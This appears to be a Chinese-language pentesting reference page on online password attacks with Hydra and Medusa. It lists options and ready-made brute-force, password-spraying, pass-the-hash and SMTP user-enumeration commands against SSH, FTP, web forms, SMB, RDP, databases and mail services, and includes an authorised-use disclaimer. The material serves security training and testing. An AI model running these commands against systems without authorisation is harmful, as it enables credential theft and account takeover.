跳转至

Password Attacks

密码攻击(Password Attacks)是渗透测试中最常用的技术之一,主要针对在线服务进行凭据爆破。Hydra 与 Medusa 是两款最主流的**在线暴力破解/字典攻击**工具,支持数十种协议,可并行发起大量登录尝试。

注意:本文所有内容仅用于授权测试与防御性安全验证。未经授权对目标系统进行暴力破解属于违法行为。

Hydra

介绍

Hydra(THC-Hydra)是一款**并行化的在线密码破解工具**,支持超过 50 种网络协议,包括 SSH、FTP、HTTP、HTTPS、SMB、数据库、Telnet 等。Hydra 由 The Hacker's Choice(THC)团队开发,2000 年首次发布,具备模块化架构,可同时建立多个并行连接,大幅缩短爆破时间。

与 John the Ripper(离线破解哈希)不同,Hydra 面向**在线服务**,通过真实登录请求来验证用户名/密码组合。

安装

Kali Linux / Parrot OS 默认已安装 Hydra。其他发行版可通过以下方式安装:

Bash
# Debian / Ubuntu
sudo apt update && sudo apt install hydra

# macOS (Homebrew)
brew install hydra

查看帮助与版本:

Bash
hydra -h          # 帮助菜单
hydra -U <service> # 查看某服务支持的模块参数,如 hydra http-post-form -U

基本语法

Bash
# 单一用户名 + 单一密码
hydra -l <username> -p <password> <server> <service>

# 使用 URL 形式指定服务
hydra -l <username> -p <password> <service>://<server>

# 字典攻击(用户名列表 + 密码列表)
hydra -L <users.txt> -P <passwords.txt> <server> <service>

常用选项

选项 说明
-l <user> / -L <file> 指定单个用户名 / 用户名列表文件
-p <pass> / -P <file> 指定单个密码 / 密码列表文件
-C <file> 组合文件,格式为 username:password,每行一组
-M <file> 目标主机列表文件(多主机攻击)
-s <port> 指定非默认端口
-t <num> 并发线程数(默认 16)
-o <file> 将爆破结果保存到文件
-v / -V 详细模式(-V 显示每次尝试的用户名/密码)
-d 调试模式,输出更多信息
-f / -F 找到第一组有效凭据后停止(-f 单主机,-F 全局)
-e nsr 附加测试:n 空密码、s 密码等于用户名、r 用户名反转
-x min:max:charset 在线生成密码(暴力破解),如 -x 5:7:a1#$
-R 恢复上一次未完成的会话
-w <sec> / -W <sec> 响应等待时间 / 两次连接间隔时间
-I 忽略已有的 restore 文件(重新开始)

常见攻击命令

SSH 爆破

Bash
# 单个用户名 + 单个密码
hydra -l root -p 123456 192.168.1.100 ssh

# 用户名列表 + 密码列表(字典攻击)
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 192.168.1.100 ssh

# 指定端口 + 线程数 + 保存结果
hydra -L users.txt -P pass.txt -s 2222 -t 64 -o result.txt 192.168.1.100 ssh

FTP 爆破

Bash
hydra -L users.txt -P pass.txt 192.168.1.100 ftp

# 匿名登录测试
hydra -l anonymous -p anonymous 192.168.1.100 ftp

HTTP 表单登录爆破(POST)

Bash
# 语法:hydra -L users.txt -P pass.txt <target> http-post-form "/login.php:user=^USER^&pass=^PASS^:F=失败提示"
hydra -L users.txt -P pass.txt 192.168.1.100 http-post-form "/login.php:username=^USER^&password=^PASS^:F=Invalid"

# 带 Cookie / 自定义参数
hydra -l admin -P pass.txt 192.168.1.100 http-post-form "/index.php:user=^USER^&pass=^PASS^&submit=Login:F=error:H=Cookie: PHPSESSID=xxxx"
  • ^USER^ / ^PASS^ 为 Hydra 占位符,会自动替换为字典中的用户名和密码
  • F= 后为登录失败时页面出现的特征字符串,用于判断是否成功
  • H= 后为自定义请求头(如 Cookie)
  • S= 可指定成功时页面特征(可选)

HTTP Basic 认证爆破

Bash
hydra -L users.txt -P pass.txt 192.168.1.100 http-get

HTTPS 爆破

Bash
hydra -L users.txt -P pass.txt 192.168.1.100 https-post-form "/login.php:user=^USER^&pass=^PASS^:F=error"

SMB 爆破

Bash
hydra -L users.txt -P pass.txt 192.168.1.100 smb

MySQL 爆破

Bash
hydra -L users.txt -P pass.txt 192.168.1.100 mysql

MSSQL 爆破

Bash
hydra -L users.txt -P pass.txt 192.168.1.100 mssql

RDP 爆破

Bash
hydra -L users.txt -P pass.txt 192.168.1.100 rdp

Telnet 爆破

Bash
hydra -L users.txt -P pass.txt 192.168.1.100 telnet

SMTP / POP3 / IMAP 爆破

Bash
# SMTP 认证爆破
hydra -L users.txt -P pass.txt 192.168.1.100 smtp

# POP3 爆破(非默认端口)
hydra -L users.txt -P pass.txt -s 55007 192.168.1.100 pop3

# IMAP 爆破
hydra -L users.txt -P pass.txt 192.168.1.100 imap

其他常用用法

Bash
# 密码喷洒(Password Spray):固定密码,遍历多个用户
hydra -L users.txt -p Butterfly1 192.168.1.100 ssh

# 组合文件攻击(username:password 一一对应)
hydra -C combos.txt 192.168.1.100 ssh

# 多主机攻击
hydra -l admin -p 123456 -M hosts.txt ssh

# 附加测试空密码/密码等于用户名
hydra -L users.txt -P pass.txt -e ns 192.168.1.100 ssh

# 在线生成密码暴力破解(5-7 位,小写字母+数字)
hydra -l admin -x 5:7:a1 192.168.1.100 ftp

# 恢复上次会话
hydra -R

Medusa

介绍

Medusa 是一款**高速、并行、模块化**的在线登录爆破工具,目标是支持尽可能多的允许远程认证的服务。其特点包括:

  • 线程并行测试:可同时对多个主机、用户、密码进行爆破
  • 灵活的输入方式:目标(主机/用户/密码)可为单个值或文件
  • 模块化设计:每个服务模块是独立的 .mod 文件,扩展方便
  • 多协议支持:SMB、HTTP、POP3、MSSQL、SSHv2、FTP、MySQL、RDP 等

与 Hydra 类似,Medusa 也是**在线爆破工具**,不支持离线哈希破解。相比 Hydra,Medusa 在多主机并发测试上更高效。

安装

Kali Linux 默认已安装 Medusa。其他发行版可编译安装:

Bash
# Debian / Ubuntu
sudo apt install medusa

# 源码编译安装
sudo apt-get install automake autoconf m4 perl
git clone https://github.com/jmk-foofus/medusa
cd medusa/
autoreconf -f -i
./configure
make
sudo make install

基本语法

Bash
medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
Bash
# 单一主机 + 单一用户 + 密码列表
medusa -h 192.168.1.100 -u root -P pass.txt -M ssh

# 主机列表 + 用户列表 + 密码列表
medusa -H hosts.txt -U users.txt -P pass.txt -M ssh

常用选项

选项 说明
-h / -H 目标主机 / 目标主机列表文件
-u / -U 单一用户名 / 用户名列表文件
-p / -P 单一密码 / 密码列表文件
-C <file> 组合文件,格式 host:user:password
-O <file> 将日志追加保存到文件
-e n/s/ns 附加测试:n 空密码、s 密码等于用户名
-M <module> 指定模块(如 ssh、ftp、http、smbnt)
-m <param> 模块参数,可多次使用
-d 列出所有已知模块
-n <num> 指定非默认 TCP 端口
-s 启用 SSL
-t <num> 并发登录线程数
-T <num> 并发主机数
-L 每个线程一个用户名(按用户并行)
-f / -F 找到首个有效凭据后停止(单主机 / 全局)
-g <num> 连接尝试超时秒数(默认 3)
-r <num> 重试间隔秒数(默认 3)
-R <num> 重试次数(总尝试次数为 NUM+1)
-v <num> 详细级别 0-6
-w <num> 错误调试级别 0-10
-q 显示模块使用信息(配合 -M)
-Z <text> 恢复上次扫描(基于 resume map)
-b 不显示启动横幅

查看支持的所有模块:

Bash
medusa -d

查看某模块的具体用法:

Bash
medusa -M ssh -q

常见攻击命令

SSH 爆破

Bash
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M ssh

FTP 爆破

Bash
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M ftp

# 显式 FTPS(RFC 4217)
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M ftp -m MODE:EXPLICIT

HTTP 认证爆破

Bash
# Basic/Digest/NTLM 认证
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M http -m DIR:/admin

# 指定认证类型与自定义 Header
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M http -m AUTH:BASIC -m CUSTOM-HEADER:"Cookie: SMCHALLENGE=YES"

Web 表单爆破(web-form)

Bash
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M web-form \
  -m FORM:"login.php" \
  -m FORM-DATA:"post?username=&password=&submit=True" \
  -m DENY-SIGNAL:"Login incorrect"
  • FORM: 目标表单路径
  • FORM-DATA: 提交方法与字段,username 字段必须在前,password 字段在后
  • DENY-SIGNAL: 登录失败时响应中的特征字符串,未出现该串即判定成功

SMB 爆破(smbnt)

Bash
# 基本爆破
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M smbnt

# 测试域凭据
medusa -h 192.168.1.100 -U users.txt -p password -M smbnt -m GROUP:DOMAIN

# 使用 NTLM 哈希(Pass-the-Hash)
medusa -h 192.168.1.100 -u administrator -p 92D887C8010492C2944E2DF489A880E4:7A2EDE4F51BC5A03984C6BA2C239CF63::: -M smbnt -m PASS:HASH

# 强制 NetBIOS 模式(139 端口)
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M smbnt -m NETBIOS -n 139

MySQL / MSSQL / PostgreSQL 爆破

Bash
# MySQL
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M mysql

# MySQL 使用旧式哈希
medusa -h 192.168.1.100 -U users.txt -p 39b52a209cf03d62 -M mysql -m PASS:HASH

# MSSQL
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M mssql

# PostgreSQL(指定数据库)
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M postgres -m DB:postgres

RDP 爆破

Bash
# 注意:FreeRDP 库存在线程安全问题,建议避免并发主机/用户(-T/-t)
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M rdp -m DOMAIN:WORKGROUP

Telnet 爆破

Bash
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M telnet

SMTP / POP3 / IMAP 爆破

Bash
# SMTP 认证爆破
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M smtp -m AUTH:LOGIN

# SMTP 用户枚举(VRFY/EXPN/RCPT TO)
medusa -h 192.168.1.100 -U users.txt -p domain.com -M smtp-vrfy -m VERB:VRFY

# POP3(AS400 模式)
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M pop3 -m MODE:AS400

# IMAP(指定认证类型)
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M imap -m AUTH:PLAIN

VNC / SNMP 爆破

Bash
# VNC(RealVNC 反爆破延迟,设置最大睡眠时间)
medusa -h 192.168.1.100 -u root -P pass.txt -M vnc -m MAXSLEEP:120

# SNMP Community String 爆破
medusa -h 192.168.1.100 -P community.txt -M snmp -m ACCESS:READ

组合文件与并发

Bash
# 组合文件(host:user:password)
medusa -M ssh -C combo.txt

# 组合文件配合主机列表
medusa -M smbnt -C combo.txt -H hosts.txt

# 高并发:20 主机 + 10 线程,按用户并行,找到即停
medusa -H hosts.txt -U users.txt -P pass.txt -T 20 -t 10 -L -F -M ssh

# 附加测试空密码 / 密码等于用户名
medusa -h 192.168.1.100 -u administrator -P pass.txt -e ns -M smbnt

恢复扫描

Medusa 收到 SIGINT(Ctrl+C)时会输出 resume map,可据此恢复扫描:

Bash
# 中断后提示:-Z h2u3u4h3.
medusa -M ssh -H hosts.txt -U users.txt -p password -Z h2u3u4h3.

Hydra vs Medusa

对比项 Hydra Medusa
认证类型 在线爆破 在线爆破
多线程 支持 支持
模块化 支持 支持(独立 .mod 文件)
协议数量 50+ 30+
多主机并发 支持(-M) 更高效(-T 主机级并发)
哈希传递(PTH) 不支持 支持(smbnt PASS:HASH)
在线生成密码 支持(-x) 不支持
会话恢复 支持(-R) 支持(-Z)
离线哈希破解 不支持 不支持